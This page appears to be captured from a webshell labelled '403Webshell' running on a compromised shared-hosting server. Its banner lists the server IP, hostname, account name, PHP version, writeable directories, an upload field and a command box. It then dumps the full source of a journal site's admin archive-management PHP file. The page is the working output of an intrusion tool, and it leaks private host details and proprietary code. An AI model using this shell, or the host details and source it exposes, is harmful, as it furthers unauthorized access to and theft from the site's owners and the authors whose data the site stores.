403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/jyotishajournal/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/jyotishajournal/admin/archives.php
<?php
if(($opt1) && ($opt1 === 'list' || $opt1 === 'add' || $opt1 === 'edit' || $opt1 === 'view' || $opt1 === 'addgraphics' || $opt1 === 'editgraphics' || $opt1 === 'search')):
	if(($opt1 === 'edit' || $opt1 === 'view')):
		$stmt = $mysqli->prepare("SELECT $firstcol, doi, month, year, refnumber, volume, issue, part, title, titlefont, authorname, authornamefont, abstract, abstractfont, keywords, description, file, supplementaryfile, subject, country, pagenumber, status, comment, mobile, email, modification, creation, views, downloads, conference FROM $table WHERE $firstcol = ? LIMIT 1") or die($mysqli->error);
		$stmt->bind_param('i', $opt2);
		$stmt->execute();
		$stmt->store_result();
		$count_rows = $stmt->num_rows();
		$stmt->bind_result($id, $doi, $emonth, $year, $refnumber, $volume, $issue, $part, $title, $titlefont, $authorname, $authornamefont, $abstract, $abstractfont, $keywords, $description, $file, $supplementaryfile, $subject, $country, $pagenumber, $status, $comment, $mobile, $email, $modification, $creation, $views, $downloads, $conference);
		$stmt->fetch();
		$stmt->close();
		if($count_rows !== 1):
			die('Invalid data selection.');
		endif;
		$optfld = '';

		$emonth		= trim(preg_replace('/[0-9]/', '', $emonth));
		$title		= html_entity_decode($title);
		$abstract	= html_entity_decode($abstract);
		$modification = dateformat($modification, true);
		$creation = dateformat($creation, true);
	else:
		$id = '';$doi = '';$emonth = '';$year = '';$refnumber = '';$volume = '';$issue = '';$part = '';$title = '';$titlefont = '';$authorname = '';$authornamefont = '';$abstract = '';$abstractfont = '';$keywords = '';$description = '';$file = '';$supplementaryfile = '';$subject = '';$country = '';$pagenumber = '';$mobile = '';$email = '';$comment = '';$status = 'enabled';$conference = '';
	endif;

	if(($opt1 === 'list' || $opt1 === 'search')):
		$datas = explode(':', $opt2);
		$urlyear  = isset($datas[0]) ? $datas[0] : NULL;
		$urlvolume= isset($datas[1]) ? $datas[1] : NULL;
		$urlissue = isset($datas[2]) ? $datas[2] : NULL;
		$urlpart  = isset($datas[3]) ? $datas[3] : NULL;
		if($opt1 === 'search'):
			$index = '';
			$url = 'add';
		else:
			$index = '<input type="submit" value="index page" class="action hidden" onclick="setopt(this, \'index\')" />';
			$url = 'add/' . $opt2;
		endif;
echo <<<EOJ
		<div class="head">
			{$back}
			<input type="button" value="create new" class="action g" onclick="gourl('{$url}')" />
			<input type="submit" value="check doi" class="action" onclick="setopt(this, 'checkdoi')" />
			<input type="submit" value="" class="action ico delete hidden" onclick="setopt(this, 'delete', 'Do you really want to delete?')" />
			{$index}
			<input type="submit" value="certificate" class="action hidden" onclick="setopt(this, 'certificate')" />
			<input type="submit" value="download doi xml" class="action hidden" onclick="setopt(this, 'downloaddoixml', 'Do you really want to download DOI XML?')" />
			<input type="hidden" name="datas" value="{$opt2}" readonly="readonly" />
		</div>
		<table border="0" cellpadding="0" cellspacing="0" class="table">
			<thead>
			<tr>
			<th align="center" valign="middle" class="xs"><input type="checkbox" name="select_all" id="select_all" value=""/></th>
			<th align="center" valign="middle" class="xs">s. no.</th>
			<th align="left" valign="middle" style="width:80px">ref. num.</th>
			<th align="center" valign="middle" style="width:75px" nowrap>doi active</th>
			<th align="left" valign="middle">title</th>
			<th align="center" valign="middle" style="width:80px">pages</th>
			<th align="center" valign="middle" style="width:70px">mail</th>
			<th align="center" valign="middle" style="width:70px">cert.</th>
			<th class="center-align" style="width:70px">message</th>
			<th class="center-align" style="width:100px">advertisement</th>
			<th align="right" valign="middle" class="md">modification</th>
			<th align="right" valign="middle" class="md">creation</th>
			<th align="center" valign="middle" class="sm">action</th>
			</tr>
			</thead>
			<tbody>
EOJ;
			$equal = $keyword;
			$keyword = "%$keyword%";
			if($opt1 === 'search'):
				$stmt = $mysqli->prepare("SELECT archive.archivesid, archive.doi, archive.doiactive, archive.year, archive.refnumber, archive.volume, archive.issue, archive.part, archive.title, archive.titlefont, archive.file, archive.pagenumber, archive.status, archive.mailstatus, archive.certificatemailstatus, archive.wa_message_send, archive.wa_advertisement_send, archive.modification, archive.creation, archive.countdoixmldownload FROM $table as archive LEFT JOIN archiveauthors as archiveauthor ON archive.archivesid = archiveauthor.archiveid WHERE (archive.doi LIKE ? OR archive.refnumber = ? OR STRIP_TAGS(archive.title) LIKE ? OR archive.authorname LIKE ? OR archive.abstract LIKE ? OR archive.keywords LIKE ? OR archive.description LIKE ? OR archive.country LIKE ? OR archive.mobile LIKE ? OR archive.email LIKE ? OR archiveauthor.name LIKE ? OR archiveauthor.email LIKE ? OR archiveauthor.phone LIKE ?) GROUP BY archive.archivesid ORDER BY LENGTH(archive.pagenumber),archive.pagenumber ASC") or die($mysqli->error);
				$stmt->bind_param('sssssssssssss', $keyword, $equal, $keyword, $keyword, $keyword, $keyword, $keyword, $keyword, $keyword, $keyword, $keyword, $keyword, $keyword);
			else:
				$stmt = $mysqli->prepare("SELECT $firstcol, doi, doiactive, year, refnumber, volume, issue, part, title, titlefont, file, pagenumber, status, mailstatus, certificatemailstatus, wa_message_send, wa_advertisement_send, modification, creation, countdoixmldownload FROM $table WHERE (year = ? AND volume = ? AND issue = ? AND part = ?) ORDER BY LENGTH(pagenumber),pagenumber ASC") or die($mysqli->error);
				$stmt->bind_param('siis', $urlyear, $urlvolume, $urlissue, $urlpart);
			endif;
			$stmt->execute();
			$stmt->store_result();
			if($stmt->num_rows() > 0):
				$stmt->bind_result($id, $doi, $doiactive, $year, $refnumber, $volume, $issue, $part, $title, $titlefont, $file, $pagenumber, $status, $mailstatus, $certificatemailstatus, $wa_message_send, $wa_advertisement_send, $modification, $creation, $countdoixmldownload);
				while($stmt->fetch()):
					$snum = serial($page_number, $snum, $page_position);
					$class = (($file && file_exists($archiveuploadpath.$year.'/vol'.$volume.'issue'.$issue.'/Part'.$part.'/'.$file))) ? '' : 'class="miss"';

					$title = strip_tags($title, "<i><em><sup><sub><img>");
					$title = ($equal) ? preg_replace("/($equal)/i", "<mark>{$equal}</mark>", $title) . '...<span class="fr">'.$year.', Vol. '.$volume.', Issue '.$issue.', Part '.$part.'</span>' : $title;
					$title = ($status == 'disabled') ? '<span style="color:#ff3939">'.$title.'</span>' : $title;
					$title = ($titlefont) ? '<span style="font-family:'.$titlefont.' !important;font-size:16px;">'.$title.'</span>' : $title;

					$check_graphics = $mysqli->query("SELECT file FROM graphics WHERE $firstcol = '{$id}'") or die($mysqli->error);
					$count_graphics = $check_graphics->num_rows;
					$check_graphics->close();
					$modification = dateformat($modification);
					$creation = dateformat($creation);

					$doibg = $doi ? '2d8024' : 'f00';
					$doiactive = $doiactive === 'Y' ? '<svg style="color:green" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16"><path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/></svg>' : '<svg style="color:red" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16"><path d="M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z"/></svg>';
echo <<<EOJ
					<tr>
					<td align="center" valign="middle"><input type="checkbox" name="dataid[]" value="{$id}" class="checkbox" /></td>
					<td align="center" valign="middle" {$class}>{$snum}</td>
					<td align="left" valign="middle">{$refnumber}<a href="https://doi.org/{$doi}" target="_blank" class="counting" style="color:#fff;text-decoration:none;background-color:#{$doibg};">DOI: {$countdoixmldownload}</a></td>
					<td align="center" valign="middle" nowrap>{$doiactive}</td>
					<td align="left" valign="middle">{$title}</td>
					<td align="center" valign="middle">{$pagenumber}</td>
					<td align="center" valign="middle">{$mailstatus}</td>
					<td align="center" valign="middle">{$certificatemailstatus}</td>
					<td class="center-align">{$wa_message_send}</td>
					<td class="center-align">{$wa_advertisement_send}</td>
					<td align="right" valign="middle">{$modification}</td>
					<td align="right" valign="middle">{$creation}</td>
					<td align="center" valign="middle">
					<button type="button" onclick="gourl('addgraphics/{$id}')">picture ({$count_graphics})</button><br clear="all">
					<button type="button" onclick="gourl('view/{$id}')">view</button>
					<button type="button" onclick="gourl('edit/{$id}')">edit</button>
					</td>
					</tr>
EOJ;
				endwhile;
				$stmt->close();
			else:
				echo '<tr><td align="center" valign="middle" colspan="13">' . $emptyrows . '</td></tr>';
			endif;
		echo '</tbody>';
		echo '</table>';
	elseif($opt1 === 'view'):
		$path = $archiveuploadpath . $year . '/vol' . $volume . 'issue' . $issue . '/Part' . $part . '/';
		if(($file && file_exists($path . $file))):
			$mfattr = "dopost('removepdf', '{$opt2}', 'Do you really want to remove file?')";
			$mfilebtn = '<input type="button" value="remove file" class="action" onclick="' . $mfattr . '" />';
		else:
			$mfilebtn = '';
		endif;

		if(($supplementaryfile && file_exists($path . $supplementaryfile))):
			$sfattr = "dopost('removesuppfile', '{$opt2}', 'Do you really want to remove supplementary file?')";
			$sfilebtn = '<input type="button" value="remove supplementary file" class="action" onclick="' . $sfattr . '" />';
		else:
			$sfilebtn = '';
		endif;
		$title = ($titlefont) ? "<span style=\"font-family:{$titlefont} !important;font-size:16px\">{$title}</span>" : $title;
		$authorname	= ($authornamefont) ? "<span style=\"font-family:{$authornamefont} !important;font-size:16px\">{$authorname}</span>" : $authorname;
		$abstract = ($abstractfont) ? "<span style=\"font-family:{$abstractfont} !important;font-size:16px\">{$abstract}</span>" : $abstract;
echo <<<EOJ
		<div class="head">
			{$back}
			<input type="button" value="" class="action ico delete" onclick="dopost('delete', '{$opt2}', 'Do you really want to delete?', true)" />
			<input type="button" value="edit" class="action" onclick="gourl('edit/{$opt2}')" />
			{$mfilebtn}{$sfilebtn}
		</div>
		<table border="0" cellpadding="0" cellspacing="0" class="table view">
			<tbody>
			<tr><th>Data ID</th><td>&num;{$opt2}</td>
			<tr><th>Archives For</th><td>{$emonth} {$year}</td>
			<tr><th>Ref. Number</th><td>{$refnumber}</td>
			<tr><th>Volume</th><td>{$volume}</td>
			<tr><th>Issue</th><td>{$issue}</td>
			<tr><th>Part</th><td>{$part}</td>
			<tr><th>Title</th><td>{$title}</td>
			<tr><th>Author Name</th><td>{$authorname}</td>
			<tr><th>Abstract</th><td>{$abstract}</td>
			<tr><th>Meta Keywords</th><td>{$keywords}</td>
			<tr><th>Meta Description</th><td>{$description}</td>
			<tr><th>Subject</th><td>{$subject}</td>
			<tr><th>Country</th><td>{$country}</td>
			<tr><th>Page Number</th><td>{$pagenumber}</td>
			<tr><th>Mobile</th><td>{$mobile}</td>
			<tr><th>Email</th><td>{$email}</td>
			<tr><th>Status</th><td>{$status}</td>
			<tr><th>Modification</th><td>{$modification}</td>
			<tr><th>Creation</th><td>{$creation}</td>
			<tr><th>Views</th><td>{$views}</td>
			<tr><th>Downloads</th><td>{$downloads}</td>
			</tr>
			</tbody>
		</table>
EOJ;
	elseif(($opt1 === 'add' || $opt1 === 'edit')):
		$status = ($status == 'enabled') ? 'checked' : NULL;

		if($opt1 === 'add'):
			$datas = explode(':', $opt2);
			$year  = isset($datas[0]) ? $datas[0] : NULL;
			$volume= isset($datas[1]) ? $datas[1] : NULL;
			$issue = isset($datas[2]) ? $datas[2] : NULL;
			$part  = isset($datas[3]) ? $datas[3] : NULL;
			$si = isset($_GET['si']) ? $_GET['si'] : '';

			if($si):
				$stmt = $mysqli->prepare("SELECT month, conference FROM $table WHERE (year = ? AND volume = ? AND issue = ? AND part = ? AND conference IS NOT NULL) ORDER BY $firstcol DESC LIMIT 1") or die($mysqli->error);
			else:
				$stmt = $mysqli->prepare("SELECT month, conference FROM $table WHERE (year = ? AND volume = ? AND issue = ? AND part = ? AND conference IS NULL) ORDER BY $firstcol DESC LIMIT 1") or die($mysqli->error);
			endif;
			$stmt->bind_param('siis', $year, $volume, $issue, $part);
			$stmt->execute();
			$stmt->bind_result($emonth, $econference);
			$stmt->fetch();
			$stmt->close();
			$mobileEmailField = 'hidden';
			$conference = $econference;
		else:
			$mobileEmailField = '';
		endif;

		if(strpos($emonth, '-') !== false):
			$emonth = explode('-', $emonth);
			$month1 = trim($emonth[0]);
			$month2 = trim($emonth[1]);
		else:
			$month1 = $emonth;
			$month2 = '';
		endif;

		$months = array();
		for($m = 1; $m <= 12; $m++) : $months[] = date('M', mktime(0,0,0,$m,1)); endfor;

		$fmonth = '';$smonth = '';
		foreach($months as $month):
			$selected = ($month1 == $month) ? 'selected' : NULL;
			$fmonth .= '<option value="' . $month . '" ' . $selected . '>' . $month . '</option>';
		endforeach;

		foreach($months as $month):
			$selected = ($month2 == $month) ? 'selected' : NULL;
			$smonth .= '<option value="' . $month . '" ' . $selected . '>' . $month . '</option>';
		endforeach;

		$volumes = range('1', '50');
		$volumelist = '';
		foreach($volumes as $prevolume):
			$selected = ($prevolume == $volume) ? 'selected' : NULL;
			$volumelist .= '<option value="' . $prevolume . '" ' . $selected. '>Volume ' . $prevolume . '</option>';
		endforeach;

		$issues = range('1', '24');
		$issuelist = '';
		foreach($issues as $preissue):
			$selected = ($preissue == $issue) ? 'selected' : NULL;
			$issuelist .= '<option value="' . $preissue . '" ' . $selected . '>Issue ' . $preissue . '</option>';
		endforeach;
		$selected = ($issue === $volume . 'S') ? 'selected' : NULL;

		function year_list(){
			global $mysqli, $table;
			$list = '';
			$stmt = $mysqli->prepare("SELECT year FROM $table GROUP BY year ORDER BY year DESC") or die($mysqli->error);
			$stmt->execute();
			$stmt->bind_result($year);
			while($stmt->fetch()):
				$list .= ($year) ? '<option>' . trim($year) . '</option>' : NULL;
			endwhile;
			$stmt->close();
			return $list;
		}
		$year_list = year_list();
		function subject_list(){
			global $mysqli, $table;
			$list = '';
			$stmt = $mysqli->prepare("SELECT subject FROM $table GROUP BY TRIM(subject) ORDER BY subject ASC") or die($mysqli->error);
			$stmt->execute();
			$stmt->bind_result($subject);
			while($stmt->fetch()):
				$list .= ($subject) ? '<option>' . trim($subject) . '</option>' : NULL;
			endwhile;
			$stmt->close();
			return $list;
		}
		$subject_list = subject_list();
		function country_list(){
			global $mysqli, $table;
			$list = '';
			$stmt = $mysqli->prepare("SELECT nicename FROM country GROUP BY nicename ORDER BY nicename ASC") or die($mysqli->error);
			$stmt->execute();
			$stmt->bind_result($country);
			while($stmt->fetch()):
				$list .= ($country) ? '<option>' . trim($country) . '</option>' : NULL;
			endwhile;
			$stmt->close();
			return $list;
		}
		$country_list = country_list();

		function font($font){
			global $mysqli;
			$list = '';
			$stmt = $mysqli->prepare("SELECT name FROM fonts ORDER BY name ASC") or die($mysqli->error);
			$stmt->execute();
			$stmt->bind_result($name);
			while($stmt->fetch()):
				$selected = ($name == $font) ? 'selected' : '';
				$list .= '<option value="' . $name . '" ' . $selected . '>' . $name . '</option>';
			endwhile;
			$stmt->close();
			return $list;
		}
		$titlefont = font($titlefont);
		$authornamefont = font($authornamefont);
		$abstractfont = font($abstractfont);

		if($opt1 === 'add'):
			$stmt = $mysqli->prepare("SELECT AUTO_INCREMENT FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = ? AND TABLE_NAME = ?") or die($mysqli->error);
			$stmt->bind_param('ss', $dbname, $table);
			$stmt->execute();
			$stmt->store_result();
			$stmt->bind_result($nextarchivesid);
			$stmt->fetch();
			$stmt->close();
		else:
			$nextarchivesid = $opt2;
		endif;
		$nextdoi = '10.22271/24564427.'.$year.'.v'.$volume.'.i'.$issue.strtolower($part).'.'.$nextarchivesid;

		echo <<<EOJ
		<input type="hidden" name="dataid" value="{$opt2}" readonly="readonly" />
		<div class="head">
			{$back}
			<input type="reset" value="reset" class="action" />
			<input type="submit" value="submit" class="action b" onclick="setopt(this, '{$opt1}')" />
			<input type="button" value="upload files" class="action" onclick="compose('.upf')" style="float:right;margin:0px" />
		</div>
		<div class="body">
			<div class="row">
				<div class="fl">
					<div class="rw" style="margin-right:0px">
						<label><input type="checkbox" name="renamepdf" value="enabled" autocomplete="off" checked="checked" />rename pdf</label>
					</div>
				</div>
				<div class="fr">
					<div class="fl">
						<label class="flbl">Uploading Date :<span class="fr">*</span></label>
						<select name="month1" class="field field-select" style="width:50%;">
							<option value="" selected="selected">Select Month 1</option>
							{$fmonth}
						</select>
						<select name="month2" class="field field-select" style="width:50%;clear:none">
							<option value="" selected="selected">Select Month 2</option>
							{$smonth}
						</select>
					</div>
					<div class="fr">
						<label class="flbl">Uploading Year <small>(Only digits allowed in length of 4)</small>:<span class="fr">*</span></label>
						<input type="text" name="year" value="{$year}" maxlength="4" class="field" style="width:50%" onkeypress="return valdigit(this,event)" onpaste="return false;" />
						<select class="field field-select" style="width:50%;clear:none" onchange="this.form.year.value = this.value;">
							<option value="" selected="selected">Select Year</option>
							{$year_list}
						</select>
					</div>
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<div class="fl">
						<label class="flbl">Reference Number :<span class="fr">*</span></label>
						<input type="text" name="refnum" value="{$refnumber}" class="field" onpaste="return false;" />
					</div>
					<div class="fr">
						<label class="flbl">DOI Number :</label>
						<div style="float:left;width:100%;display:flex">
							<input type="text" name="doi" value="{$doi}" id="doi" class="field" />
							<div class="rw" style="width:100px;margin:0">
								<label><input type="checkbox" name="allotdoi" value="Y" id="allotdoi" onchange="if(this.checked){ $('#doi').val('{$nextdoi}'); } else { $('#doi').val(''); }" />allot</label>
							</div>
						</div>
					</div>
				</div>
				<div class="fr">
					<div class="fl lg">
						<label class="flbl">Volume Number :<span class="fr">*</span></label>
						<select name="volume" class="field">
							<option value="" selected="selected">Select Volume</option>
							{$volumelist}
						</select>
					</div>
					<div class="fl lg">
						<label class="flbl">Issue Number :<span class="fr">*</span></label>
						<select name="issue" class="field">
							<option value="" selected="selected">Select Issue</option>
							{$issuelist}
						</select>
					</div>
					<div class="fl lg">
						<label class="flbl">Part :<span class="fr">*</span></label>
						<input type="text" name="part" value="{$part}" class="field" />
					</div>
				</div>
			</div>
			<div class="row">
				<label class="flbl">Title :<span class="fr">*</span></label>
				<div class="fluid">
					<textarea rows="25" cols="25" name="title" id="editor" class="field">{$title}</textarea>
				</div>
			</div>
			<div class="row">
				<label class="flbl">Author Name <small>(Multiple author name should be seperate by comma)</small>:<span class="fr">*</span></label>
				<input type="text" name="name" value="{$authorname}" class="field" />
			</div>
			<div class="row">
				<label class="flbl">Abstract :</label>
				<div class="fluid md">
					<textarea rows="25" cols="25" name="abstract" id="editor" class="field">{$abstract}</textarea>
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<label class="flbl">Meta Description :</label>
					<input type="text" name="description" value="{$description}" class="field" />
				</div>
				<div class="fr">
					<label class="flbl">Meta Keywords :</label>
					<input type="text" name="keywords" value="{$keywords}" class="field" />
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<div class="fl">
						<label class="flbl">Main File <small>(Only PDF, DOC and DOCX file allowed)</small>:{$optfld}</label>
						<input type="file" name="mainfile" class="field field-file lg2" />
					</div>
					<div class="fr">
						<label class="flbl">Supplementary File <small>(Only PDF, DOC and DOCX file allowed)</small>:</label>
						<input type="file" name="suppfile" class="field field-file lg2" />
					</div>
				</div>
				<div class="fr">
					<div class="row">
						<label class="flbl">Subject :</label>
						<input type="text" name="subject" value="{$subject}" class="field" style="width:50%;margin-bottom:5px;" />
						<select class="field field-select" style="width:50%;clear:none" onchange="this.form.subject.value = this.value;">
							<option value="" selected="selected">Select Subject</option>
							{$subject_list}
						</select>
					</div>
					<div class="row">
						<label class="flbl">Country :<span class="fr">*</span></label>
						<input type="text" name="country" value="{$country}" readonly="readonly" class="field" style="width:50%;margin-bottom:5px;" />
						<select class="field field-select" style="width:50%;clear:none" onchange="this.form.country.value = this.value;">
							<option value="" selected="selected">Select country</option>
							{$country_list}
						</select>
					</div>
					<div class="row">
						<label class="flbl">Page Number :<span class="fr">*</span></label>
						<input type="text" name="pagenum" value="{$pagenumber}" class="field" onkeypress="return valpgnum(this,event)" onpaste="return false;" />
					</div>
				</div>
			</div>
			<div class="row" {$mobileEmailField}>
				<div class="fl">
					<label class="flbl">Mobile <small>(Multiple mobile numbers should be seperate by comma)</small>:</label>
					<input type="text" name="mobile" value="{$mobile}" class="field" onkeypress="return valphone(this,event)" />
				</div>
				<div class="fr">
					<label class="flbl">Email <small>(Multiple emails should be seperate by comma)</small>:</label>
					<input type="text" name="email" value="{$email}" class="field" />
				</div>
			</div>
			<div class="row">
				<div class="fl lg">
					<label class="flbl">Title Font :</label>
					<select name="titlefont" class="field">
						<option value="" selected="selected">Choose Font</option>
						{$titlefont}
					</select>
				</div>
				<div class="fl lg">
					<label class="flbl">Author Name Font :</label>
					<select name="namefont" class="field">
						<option value="" selected="selected">Choose Font</option>
						{$authornamefont}
					</select>
				</div>
				<div class="fl lg">
					<label class="flbl">Abstract Font :</label>
					<select name="abstractfont" class="field">
						<option value="" selected="selected">Choose Font</option>
						{$abstractfont}
					</select>
				</div>
			</div>
			<div class="row">
				<div class="fl" style="width:92%">
					<label class="flbl">Comment :</label>
					<input type="text" name="comment" value="{$comment}" class="field" />
				</div>
				<div class="fr" style="width:8%">
					<div class="rw" style="float:right">
						<label><input type="checkbox" name="status" value="enabled" {$status} />status</label>
					</div>
				</div>
			</div>
			<div class="row">
				<label class="flbl">Conference :</label>
				<input type="text" name="conference" value="{$conference}" class="field" />
			</div>
		</div>
		<br clear="all">
		<br clear="all">
EOJ;
		if($opt1 === 'edit' && $opt2):
echo <<<EOJ
			<div id="authormodal" style="width:700px;height:360px;background:#fff;border-radius:8px;position:fixed;top:50px;left:0;right:0;z-index:9998;margin:auto;box-shadow:0 10px 25px #333;overflow-y:scroll;" hidden>
				<div style="padding:12px 8px;display:flex;align-items:center">
					<h6>Add Author</h6>
					<div style="margin-left:auto;">
						<button type="button" class="action" style="width:90px;" onclick="addauthorsinmodal()">Add Author</button>
						<button type="button" class="action" style="margin-left:10px !important;" onclick="fetchauthors('fetchauthorsforedit')">Fetch</button>
						<button type="button" class="action" style="margin-left:10px !important;" onclick="authormodal.hidden = true;">Close</button>
						<button type="submit" class="action b" style="margin-left:10px !important;" onclick="setopt(this, 'addauthors')">Submit</button>
					</div>
				</div>
				<table class="table">
					<thead id="fetchedauthors">
						<tr>
							<th>name</th>
							<th>email</th>
							<th>phone</th>
							<th style="with:60px;" nowrap></th>
						</tr>
						<tr>
							<td><input type="text" name="new_aa_authorname[]" class="form-control" /></td>
							<td><input type="text" name="new_aa_authoremail[]" class="form-control" /></td>
							<td><input type="text" name="new_aa_authorphone[]" class="form-control" /></td>
							<td nowrap style="width:70px;">
								<button class="btn-control" style="width:60px;padding:.375rem 0!important;" type="button" onclick="$(this).closest('tr').remove()">Remove</button>
							</td>
						</tr>
					</thead>
					<tbody id="multiauthors"></tbody>
				</table>
			</div>
				
			<button type="button" class="action" onclick="authormodal.hidden = false" style="margin:0 5px 0 10px !important;">Add New</button>
			<button type="submit" class="action hidden" style="display:none" onclick="setopt(this, 'deleteauthors', 'Do you really want to delete?')">Delete</button>
	
			<br clear="all">
			<br clear="all">
	
			<table class="table">
				<thead>
					<tr>
						<th class="xs center-align"><input type="checkbox" name="select_all" id="select_all" value="" /></th>
						<th>name</th>
						<th>email</th>
						<th>phone</th>
						<th colspan="3" nowrap style="background-color:#d5d5d5;">
							<div style="display:flex;align-items:center;justify-content:center;">
								<div class="switch">
									<label>
										<input type="checkbox" onchange="if(this.checked){ $('.mailCheckbox').val(1) }else{ $('.mailCheckbox').val('') }" />
										<span class="lever"></span>
									</label>
								</div>
								send email
							</div>
						</th>
						<th colspan="2" nowrap style="background-color:#d5d5d5;">
							<div style="display:flex;align-items:center;justify-content:center;">
								<div class="switch">
									<label>
										<input type="checkbox" onchange="if(this.checked){ $('.waCheckbox').val(1) }else{ $('.waCheckbox').val('') }" />
										<span class="lever"></span>
									</label>
								</div>
								send whatsapp
							</div>
						</th>
					</tr>
EOJ;
					$stmt = $mysqli->prepare("SELECT id, name, email, phone FROM archiveauthors WHERE archiveid = ?") or die($mysqli->error);
					$stmt->bind_param('i', $opt2);
					$stmt->execute();
					$stmt->store_result();
					$stmt->bind_result($aa_id, $aa_name, $aa_email, $aa_phone);
					while($stmt->fetch()):
echo <<<EOJ
						<tr>
							<td class="center-align" style="position:relative">
								<input type="checkbox" name="archiveauthorid[]" value="{$aa_id}" class="checkbox" />
							</td>
							<td><input value="{$aa_name}" type="text" name="aa_authorname[{$aa_id}]" class="form-control" /></td>
							<td><input value="{$aa_email}" type="text" name="aa_authoremail[{$aa_id}]" class="form-control" /></td>
							<td><input value="{$aa_phone}" type="text" name="aa_authorphone[{$aa_id}]" class="form-control" /></td>
							<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;background-color:#d5d5d5;">
								<input style="width:36px;padding:0;text-align:center;" class="mailCheckbox form-control" type="text" name="sendmail[{$aa_id}]" maxlength="1" /><br clear="all">Mail
							</td>
							<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:80px;background-color:#d5d5d5;">
								<input style="width:36px;padding:0;text-align:center;" class="mailCheckbox form-control" type="text" name="sendcertificate[{$aa_id}]" maxlength="1" /><br clear="all">Certificate
							</td>
							<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;background-color:#d5d5d5;">
								<input style="width:36px;padding:0;text-align:center;" class="mailCheckbox form-control" type="text" name="sendcopyrightform[{$aa_id}]" maxlength="1" /><br clear="all">Copyright
							</td>
							<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;background-color:#c5c5c5;">
								<input style="width:36px;padding:0;text-align:center;" class="waCheckbox form-control" type="text" name="sendwamessage[{$aa_id}]" maxlength="1" /><br clear="all">Message
							</td>
							<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;background-color:#c5c5c5;">
								<input style="width:36px;padding:0;text-align:center;" class="waCheckbox form-control" type="text" name="sendwaadvertisement[{$aa_id}]" maxlength="1" /><br clear="all">Advertisement
							</td>
						</tr>
EOJ;
				endwhile;
				$stmt->close();
echo <<<EOJ
				</thead>
			</table>
			<br clear="all">
			<br clear="all">
			<br clear="all">
EOJ;
		else:
echo <<<EOJ
			<button type="button" class="btn-control" onclick="fetchauthors('fetchauthorsforadd')" style="margin:0 5px 0 10px !important;">Fetch</button>
			<button type="button" class="btn-control" onclick="addauthors()">Add Author</button>
	
			<br clear="all">
			<br clear="all">
	
			<table class="table">
				<thead id="fetchedauthors">
					<tr>
						<th>name</th>
						<th>email</th>
						<th>phone</th>
						<th colspan="3" nowrap style="background-color:#d5d5d5;">
							<div style="display:flex;align-items:center;justify-content:center;">
								<input type="checkbox" onchange="if(this.checked){ $('.mailCheckbox').val(1) }else{ $('.mailCheckbox').val('') }" />
								send email
							</div>
						</th>
						<th colspan="2" nowrap style="background-color:#d5d5d5;">
							<div style="display:flex;align-items:center;justify-content:center;">
								<input type="checkbox" onchange="if(this.checked){ $('.waCheckbox').val(1) }else{ $('.waCheckbox').val('') }" />
								send whatsapp
							</div>
						</th>
						<th class="center-align" style="with:60px;" nowrap></th>
					</tr>
					<tr>
						<td><input type="text" name="aa_authorname[]" class="form-control" /></td>
						<td><input type="text" name="aa_authoremail[]" class="form-control" /></td>
						<td><input type="text" name="aa_authorphone[]" class="form-control" /></td>
						<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;background-color:#d5d5d5;">
							<input style="width:36px;padding:0;text-align:center;" class="mailCheckbox form-control" type="text" name="sendmail[]" maxlength="1" /><br clear="all">Mail
						</td>
						<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:80px;background-color:#d5d5d5;">
							<input style="width:36px;padding:0;text-align:center;" class="mailCheckbox form-control" type="text" name="sendcertificate[]" maxlength="1" /><br clear="all">Certificate
						</td>
						<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;background-color:#d5d5d5;">
							<input style="width:36px;padding:0;text-align:center;" class="mailCheckbox form-control" type="text" name="sendcopyrightform[]" maxlength="1" /><br clear="all">Copyright
						</td>
						<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;background-color:#c5c5c5;">
							<input style="width:36px;padding:0;text-align:center;" class="waCheckbox form-control" type="text" name="sendwamessage[]" maxlength="1" /><br clear="all">Message
						</td>
						<td nowrap style="width:50px;text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;background-color:#c5c5c5;">
							<input style="width:36px;padding:0;text-align:center;" class="waCheckbox form-control" type="text" name="sendwaadvertisement[]" maxlength="1" /><br clear="all">Advertisement
						</td>
						<td nowrap style="width:70px;">
							<button class="btn-control" style="width:60px;padding:.375rem 0!important;" type="button" onclick="$(this).closest('tr').remove()">Remove</button>
						</td>
					</tr>
				</thead>
				<tbody id="multiauthors"></tbody>
			</table>
	
			<br clear="all">
			<br clear="all">
			<br clear="all">
EOJ;
		endif;
	elseif(($opt1 === 'addgraphics' && $opt2)):
